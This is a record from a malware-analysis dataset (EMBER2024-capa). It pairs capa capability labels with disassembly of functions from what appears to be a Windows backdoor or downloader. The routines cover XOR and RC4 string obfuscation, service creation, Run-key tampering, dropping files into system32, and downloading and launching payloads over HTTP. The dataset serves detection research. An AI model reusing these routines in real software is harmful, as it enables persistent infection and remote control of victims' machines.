joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x79d4dc
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x79d4e2
pop ebp
sub ebp, 6
sub ebp, 0x39d4dc
jmp 0x79d540
jmp 0x79d549
mov eax, 0x39d4dc
add eax, ebp
add eax, 0x93
mov ecx, 0x631
mov edx, 0xfda813a6
xor byte [eax], dl
inc eax
dec ecx
jne 0x79d560
jmp 0x79d573
int3
Function at 0x402060
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 8]
test ebx, ebx
jne 0x40206d
xor eax, eax
pop ebx
ret
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edi, eax
lea eax, [edi + 1]
push eax
call fcn.00404260
add esp, 4
test edi, edi
mov esi, eax
jle 0x40209f
mov edx, ebx
push ebp
mov ecx, esi
sub edx, esi
mov ebp, edi
mov al, byte [edx + ecx]
xor al, 0x5b
mov byte [ecx], al
inc ecx
dec ebp
jne 0x402093
pop ebp
mov byte [esi + edi], 0
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x4020b0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
xor eax, eax
test edx, edx
jbe 0x4020d7
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [eax + ecx]
xor edi, esi
add edi, eax
mov dword [eax + ecx], edi
add eax, 4
cmp eax, edx
jb 0x4020c4
pop edi
pop esi
ret

Function at 0x4020e0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
xor eax, eax
test edx, edx
jbe 0x402107
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [eax + ecx]
sub edi, eax
xor edi, esi
mov dword [eax + ecx], edi
add eax, 4
cmp eax, edx
jb 0x4020f4
pop edi
pop esi
ret

Function at 0x402960
Capabilities:
Create service
Start service

Disassembly:
sub esp, 0x40
push ebx
push esi
push edi
mov edi, dword [esp + 0x50]
push 0x5c
push edi
call fcn.004042a0
add esp, 8
mov esi, eax
push esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x2e
push esi
call fcn.004042a0
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
add esp, 8
push eax
call esi
lea ecx, [esp + 0xc]
lea ebx, [esp + 0xc]
push ecx
sub ebx, eax
call esi
push 0xf003f
push 0
push 0
mov byte [ebx + eax - 1], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x402a27
cmp esi, 0xffffffff
je 0x402a27
push 0
push 0
push 0
push 0
push 0
push edi
push 1
push 1
push 1
push 0xf01ff
lea edx, [esp + 0x34]
push edx
mov eax, edx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
test edi, edi
je 0x4029f3
cmp edi, 0xffffffff
jne 0x402a0c
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push 0xf01ff
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jne 0x402a30
call edi
push esi
call edi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x40
ret
call edi
push esi
call edi
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x40
ret
Function at 0x402a50
Capabilities:
Delete service
Stop service

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x5c
push esi
push edi
push 0x5c
push eax
call fcn.004042a0
add esp, 8
mov esi, eax
push esi
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x2e
push esi
call fcn.004042a0
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
add esp, 8
push eax
call esi
lea edx, [esp + 0x24]
lea edi, [esp + 0x24]
push edx
sub edi, eax
call esi
push 0xf003f
push 0
push 0
mov byte [edi + eax - 1], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x402b12
cmp esi, 0xffffffff
je 0x402b12
push 0xf01ff
lea eax, [esp + 0x28]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x402b0b
cmp edi, 0xffffffff
je 0x402b0b
lea ecx, [esp + 8]
push ecx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jne 0x402afb
call edi
push esi
call edi
pop edi
xor eax, eax
pop esi
add esp, 0x5c
ret
call edi
push esi
call edi
pop edi
mov eax, 1
pop esi
add esp, 0x5c
ret
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
xor eax, eax
pop esi
add esp, 0x5c
ret

Function at 0x402b20
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push 0x40000000
push str..LanManDrv
call fcn.00404230
add esp, 8
cmp eax, 0xffffffff
mov dword [esp], eax
jne 0x402b43
xor eax, eax
add esp, 8
ret
push ebx
push ebp
push esi
mov esi, dword [esp + 0x20]
push edi
lea ebp, [esi + 1]
push ebp
call fcn.00404260
mov ecx, esi
mov esi, dword [esp + 0x24]
mov ebx, eax
mov al, byte [esp + 0x20]
mov edx, ecx
shr ecx, 2
mov byte [ebx], al
lea edi, [ebx + 1]
rep movsd dword es:[edi], dword [esi]
add esp, 4
push 0
lea eax, [esp + 0x18]
push eax
mov ecx, edx
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x1c]
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
call fcn.00404280
add esp, 4
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 8
ret
Function at 0x402c40
Capabilities:
Delete file
Read file on windows

Disassembly:
sub esp, 0x80c
push esi
lea eax, [esp + 0x10]
push 0x200
push eax
call fcn.00404dd0
add esp, 8
push str.iexchg.dll
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp + 0x10]
push 0x80000000
push edx
call fcn.00404230
mov esi, eax
add esp, 8
cmp esi, 0xffffffff
jne 0x402c8c
xor eax, eax
pop esi
add esp, 0x80c
ret
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_ReadFile]
push 0
lea eax, [esp + 0x10]
push eax
push 4
lea ecx, [esp + 0x1c]
push ecx
push esi
call edi
test eax, eax
je 0x402dc8
mov eax, dword [esp + 0x10]
push 0
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x620]
push ecx
push esi
call edi
test eax, eax
je 0x402dc8
mov edx, dword [esp + 0x10]
push 0
lea eax, [esp + 0x10]
push eax
push 4
lea ecx, [esp + 0x14]
push ecx
push esi
mov byte [esp + edx + 0x628], 0
call edi
test eax, eax
je 0x402dc8
mov eax, dword [esp + 8]
push 0
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x420]
push ecx
push esi
call edi
test eax, eax
je 0x402dc8
mov edx, dword [esp + 8]
push esi
mov byte [esp + edx + 0x418], 0
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x200
lea ecx, [esp + 0x218]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edx, dword [esp + 8]
inc edx
push edx
call fcn.00404260
mov dword [0x406040], eax
mov eax, dword [esp + 0x14]
inc eax
push eax
call fcn.00404260
add esp, 8
lea ecx, [esp + 0x214]
push ecx
mov dword [0x406044], eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
call fcn.00404260
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
add esp, 4
lea edx, [esp + 0x414]
mov dword [0x406048], eax
mov eax, dword [0x406040]
push edx
push eax
call esi
mov edx, dword [0x406048]
lea ecx, [esp + 0x214]
push ecx
push edx
call esi
mov ecx, dword [0x406044]
lea eax, [esp + 0x614]
push eax
push ecx
call esi
pop edi
mov eax, 1
pop esi
add esp, 0x80c
ret
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
xor eax, eax
pop esi
add esp, 0x80c
ret
Function at 0x402de0
Capabilities:
Delete registry value
Initialize winsock library
Persist via run registry key

Disassembly:
sub esp, 0x194
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call main
add esp, 4
lea eax, [esp + 0xc]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
push 0xa365
push 0x232
push 0x10
push 0
push str.__srvmgr32
call esi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
push eax
call edi
lea ecx, [esp + 8]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp + 8]
push str.ZwQueryService
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.00402c40
test eax, eax
je 0x402e6a
call fcn.00403ac0
test eax, eax
jne 0x402e75
pop edi
xor eax, eax
pop esi
add esp, 0x194
ret
call fcn.00403c10
mov ecx, dword [0x406040]
push ecx
call fcn.00402960
mov edx, dword [0x40604c]
add esp, 4
push 0x401040
push 0xbb8
push 0x161
push edx
call dword [sym.imp.USER32.dll_SetTimer]
call fcn.00403e00
test eax, eax
jne 0x402eb3
call fcn.00403ec0
call fcn.00402040
call fcn.00402020
mov eax, dword [0x406040]
push 0x5c
push eax
call fcn.004042a0
push eax
call fcn.00402bd0
mov ecx, dword [0x406044]
push 0x5c
push ecx
call fcn.004042a0
push eax
call fcn.00402bd0
mov edx, dword [0x406048]
push 0x5c
push edx
call fcn.004042a0
push eax
call fcn.00402bd0
call fcn.00402bb0
push str.ZwQueryService
call fcn.00402bf0
mov eax, dword [0x406044]
push 0x5c
push eax
call fcn.004042a0
push eax
call fcn.00402bf0
add esp, 0x34
push 0
push 0
push 0x421
push 0
push str.__intsrv32
call esi
push eax
call edi
pop edi
mov eax, 1
pop esi
add esp, 0x194
ret
Function at 0x4030c0
Capabilities:
Copy file
Create process on windows

Disassembly:
sub esp, 0x54
push ebx
mov ebx, dword [esp + 0x5c]
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
xor esi, esi
cmp eax, esi
jle 0x4030e3
cmp byte [eax + ebx], 0x5c
je 0x4030e1
dec eax
cmp eax, esi
jg 0x4030d6
cmp eax, esi
jne 0x4030ed
pop esi
xor eax, eax
pop ebx
add esp, 0x54
ret
push edi
push 0x200
call fcn.00404260
mov edi, eax
push 0x200
push edi
call fcn.00404dd0
add esp, 0xc
push str.lanmanwrk.exe
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0x4053e4
push esi
push esi
push esi
push esi
push esi
push edi
push edi
mov dword [esp + 0x44], 0x44
mov word [esp + 0x76], si
mov dword [esp + 0x6c], esi
mov dword [esp + 0x70], esi
mov dword [esp + 0x54], esi
mov dword [esp + 0x64], esi
mov dword [esp + 0x5c], esi
mov dword [esp + 0x58], esi
mov dword [esp + 0x68], esi
mov dword [esp + 0x60], esi
mov dword [esp + 0x84], esi
mov dword [esp + 0x7c], esi
mov dword [esp + 0x80], esi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x48], esi
mov dword [esp + 0x78], esi
mov dword [esp + 0x50], esi
mov word [esp + 0x74], 5
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
push edi
call fcn.00404280
add esp, 4
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x54
ret
Function at 0x403c10
Capabilities:
Delete file
Get file size
Read file on windows
Write file on windows

Disassembly:
mov eax, dword [0x406044]
sub esp, 0x14
push edi
push 0x80000000
push eax
call fcn.00404230
mov edi, eax
add esp, 8
cmp edi, 0xffffffff
jne 0x403c35
xor eax, eax
pop edi
add esp, 0x14
ret
push ebx
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov ebx, eax
push ebx
mov dword [esp + 0x18], ebx
call fcn.00404260
add esp, 4
push 0
lea ecx, [esp + 0x1c]
push ecx
push ebx
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
push esi
call fcn.00403bd0
mov edi, eax
add esp, 8
test edi, edi
je 0x403d28
mov edx, dword [edi + esi]
mov ebx, dword [edi + esi + 4]
push ebp
mov dword [esp + 0x14], edx
lea ebp, [edi + esi + 8]
call fcn.00403b60
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x14]
push eax
push ebx
push ebp
call fcn.004020e0
mov ecx, dword [esp + 0x1c]
push ecx
push ebx
push ebp
call fcn.004020b0
mov edx, dword [esp + 0x28]
mov dword [edi + esi], edx
mov eax, dword [0x406044]
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov ecx, dword [0x406044]
push 0x40000000
push ecx
call fcn.00404230
add esp, 8
mov edi, eax
cmp edi, 0xffffffff
pop ebp
jne 0x403d31
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x3e8
call ebx
mov edx, dword [0x406044]
push 0x40000000
push edx
call fcn.00404230
mov edi, eax
add esp, 8
cmp edi, 0xffffffff
jne 0x403d31
push 0x1388
call ebx
mov eax, dword [0x406044]
push 0x40000000
push eax
call fcn.00404230
mov edi, eax
add esp, 8
cmp edi, 0xffffffff
jne 0x403d31
pop esi
pop ebx
xor eax, eax
pop edi
add esp, 0x14
ret
mov edx, dword [esp + 0x14]
push 0
lea ecx, [esp + 0x20]
push ecx
push edx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop esi
pop ebx
mov eax, 1
pop edi
add esp, 0x14
ret

Function at 0x403d60
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x204
push esi
push 0xff
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push str.qmopt.dll
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x110]
push str._s_system32_s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
lea eax, [esp + 0x120]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403dc8
xor eax, eax
pop esi
add esp, 0x204
ret
push 0
lea ecx, [esp + 8]
push ecx
push 0x2d4
push 0x406050
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [esp + 4]
xor eax, eax
test ecx, ecx
setne al
pop esi
add esp, 0x204
ret
Function at 0x403e00
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x204
push esi
push edi
push 0xff
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push str.qmopt.dll
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x114]
push str._s_system32_s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
xor eax, eax
push eax
push 0x80
push 3
push eax
push eax
mov ecx, 0xb5
mov edi, 0x406050
rep stosd dword es:[edi], eax
push 0x80000000
lea eax, [esp + 0x124]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x403e91
push 0
lea ecx, [esp + 0xc]
push ecx
push 0x2d4
push 0x406050
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov eax, dword [esp + 8]
test eax, eax
push esi
jne 0x403e9c
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
xor eax, eax
pop esi
add esp, 0x204
ret
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
call fcn.00403d60
pop edi
mov eax, 1
pop esi
add esp, 0x204
ret
Function at 0x404040
Capabilities:
Resolve dns

Disassembly:
push ecx
push ebp
push edi
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, dword [section..data]
xor edi, edi
test ecx, ecx
mov eax, section..data
je 0x40406b
lea ebx, [ebx]
mov ecx, dword [eax + 4]
add eax, 4
inc edi
test ecx, ecx
jne 0x404060
mov ebp, dword [sym.imp.WS2_32.dll_gethostbyname]
push str.www.google.com
call ebp
test eax, eax
je 0x404086
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
cmp dword [ecx], 0
jne 0x404093
mov edx, dword [esp + 0x10]
pop edi
mov byte [edx], 0
xor eax, eax
pop ebp
pop ecx
ret
mov eax, dword [0x406074]
push esi
push eax
call fcn.00403f10
add esp, 4
test eax, eax
je 0x4040fd
push 0x40
call fcn.00404260
movzx ecx, byte [0x406077]
movzx edx, byte [0x406076]
push ecx
movzx ecx, byte [0x406074]
mov esi, eax
movzx eax, byte [0x406075]
push edx
push eax
push ecx
push str._d._d._d._d
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
mov edx, dword [esp + 0x30]
add esp, 0x1c
push esi
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push esi
call fcn.00404280
add esp, 4
pop esi
pop edi
mov eax, 1
pop ebp
pop ecx
ret
mov al, byte [0x40607c]
push ebx
movzx eax, al
mov ecx, dword [eax*4 + section..data]
push ecx
call fcn.00402060
add esp, 4
mov esi, eax
push esi
call ebp
test eax, eax
je 0x40412e
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ebx, dword [eax]
test ebx, ebx
mov dword [esp + 0x10], ebx
jne 0x40415c
mov bl, byte [0x40607c]
inc bl
push esi
mov byte [0x40607c], bl
call fcn.00404280
movzx ecx, byte [0x40607c]
add esp, 4
cmp ecx, edi
jge 0x4041c4
call fcn.00403d60
mov al, byte [0x40607c]
jmp 0x4041b9
movzx edx, byte [esp + 0x13]
movzx eax, byte [esp + 0x12]
push edx
push eax
movzx ecx, bh
push ecx
movzx edx, bl
push edx
push str._d._d._d._d
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
movzx eax, byte [0x40607c]
mov ecx, dword [eax*4 + section..data]
push ecx
call fcn.00402060
push ebx
call fcn.00403f10
add esp, 0x20
test eax, eax
push esi
jne 0x4041e4
call fcn.00404280
mov al, byte [0x40607c]
add esp, 4
inc al
movzx edx, al
cmp edx, edi
mov byte [0x40607c], al
jge 0x4041c4
movzx ecx, al
cmp ecx, edi
jl 0x404103
mov eax, dword [esp + 0x18]
pop ebx
pop esi
mov byte [0x40607c], 0
mov dword [0x406074], 0
pop edi
mov byte [eax], 0
xor eax, eax
pop ebp
pop ecx
ret
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov dword [0x406074], ebx
call fcn.00403d60
push esi
call fcn.00404280
add esp, 4
pop ebx
pop esi
pop edi
mov eax, 1
pop ebp
pop ecx
ret
Function at 0x4042d0
Capabilities:
Create http request

Disassembly:
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
push 0x405484
mov dword [esp + 0x10], ebx
call fcn.00402060
add esp, 4
mov esi, eax
push esi
push str.wininet.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push esi
mov edi, eax
push ebx
mov dword [esp + 0x20], edi
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
cmp edi, ebx
je 0x40442b
push ebx
push ebx
push ebx
push ebx
push 0x40518d
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push 0x84000100
push ebx
mov esi, eax
mov eax, dword [esp + 0x30]
push ebx
push eax
push esi
mov dword [esp + 0x34], esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp esi, ebx
mov edi, eax
mov dword [esp + 0x10], edi
je 0x404418
cmp edi, ebx
je 0x404418
cmp esi, 0xffffffff
je 0x404418
cmp edi, 0xffffffff
je 0x404418
mov ecx, dword [esp + 0x2c]
mov esi, dword [ecx]
push ebp
push esi
mov dword [esp + 0x1c], esi
call fcn.00404260
add esp, 4
mov ebp, eax
jmp 0x404390
mov edi, dword [esp + 0x14]
mov esi, dword [esp + 0x18]
lea esp, [esp]
mov eax, esi
sub eax, ebx
cmp eax, 0x8000
jbe 0x4043a0
mov eax, 0x8000
lea edx, [esp + 0x10]
push edx
push eax
push ebp
push edi
call dword [esp + 0x2c]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x2c]
mov edx, ecx
shr ecx, 2
lea edi, [ebx + eax]
mov esi, ebp
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x10]
add ebx, eax
test eax, eax
jne 0x4043df
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [esp + 0x10]
test eax, eax
ja 0x404384
mov eax, dword [esp + 0x34]
test eax, eax
pop ebp
jne 0x4043f2
mov eax, dword [esp + 0x28]
mov byte [ebx + eax], 0
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x2c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
mov dword [ecx], ebx
call esi
mov eax, dword [esp + 0x1c]
push eax
call esi
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x14
ret
cmp dword [esp + 0x30], ebx
jne 0x404425
mov ecx, dword [esp + 0x28]
mov byte [ecx], 0
mov edx, dword [esp + 0x2c]
mov dword [edx], ebx
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x14
ret
Function at 0x4044f0
Capabilities:
Create http request
Delete file
Write file on windows

Disassembly:
mov eax, 0x1010
call fcn.00401000
push esi
push edi
push 0x405484
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 0
call fcn.00402060
add esp, 4
mov esi, eax
push esi
push str.wininet.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push esi
push 0
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
push 0
push 0
push 0
push 0
push 0x40518d
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x84000100
push 0
mov esi, eax
mov eax, dword [esp + 0x1028]
push 0
push eax
push esi
mov dword [esp + 0x24], esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
test esi, esi
mov edi, eax
je 0x404636
test edi, edi
je 0x404636
cmp esi, 0xffffffff
je 0x404636
cmp edi, 0xffffffff
je 0x404636
mov esi, dword [esp + 0x1020]
test esi, esi
push ebx
je 0x4045c9
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
jmp 0x4045d0
mov ebx, dword [esp + 0x10]
lea ecx, [ecx]
lea ecx, [esp + 0xc]
push ecx
push 0x1000
lea edx, [esp + 0x24]
push edx
push edi
call dword [esp + 0x28]
test esi, esi
je 0x404604
mov eax, dword [esp + 0xc]
test eax, eax
jbe 0x40460c
push 0
lea ecx, [esp + 0x18]
push ecx
push eax
lea edx, [esp + 0x28]
push edx
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [esp + 0xc]
test eax, eax
ja 0x4045d0
test esi, esi
je 0x404617
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
mov eax, dword [esp + 0x10]
push eax
call esi
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x1010
ret
pop edi
xor eax, eax
pop esi
add esp, 0x1010
ret

Function at 0x404ba0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x218
push esi
push edi
lea ecx, [esp + 0xc]
call fcn.004024b0
lea eax, [esp + 0x14]
push eax
push str.SoftwareMicrosoftInternet_Explorer
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x404bd7
lea ecx, [esp + 0xc]
push ecx
jmp 0x404c45
xor eax, eax
mov byte [esp + 0x20], 0
mov ecx, 0x7f
lea edi, [esp + 0x21]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x1c]
push edx
mov edx, dword [esp + 0x18]
stosb byte es:[edi], al
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0
push 0x4054d8
push edx
mov dword [esp + 0x34], 0x200
mov dword [esp + 0x30], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
sub esp, 8
lea eax, [esp + 0x28]
mov ecx, esp
push eax
call fcn.00402550
lea ecx, [esp + 0x14]
call fcn.00402780
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0xc]
push edx
mov esi, dword [ebp + 8]
mov ecx, esi
call fcn.004024e0
lea ecx, [esp + 0xc]
call fcn.00402590
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret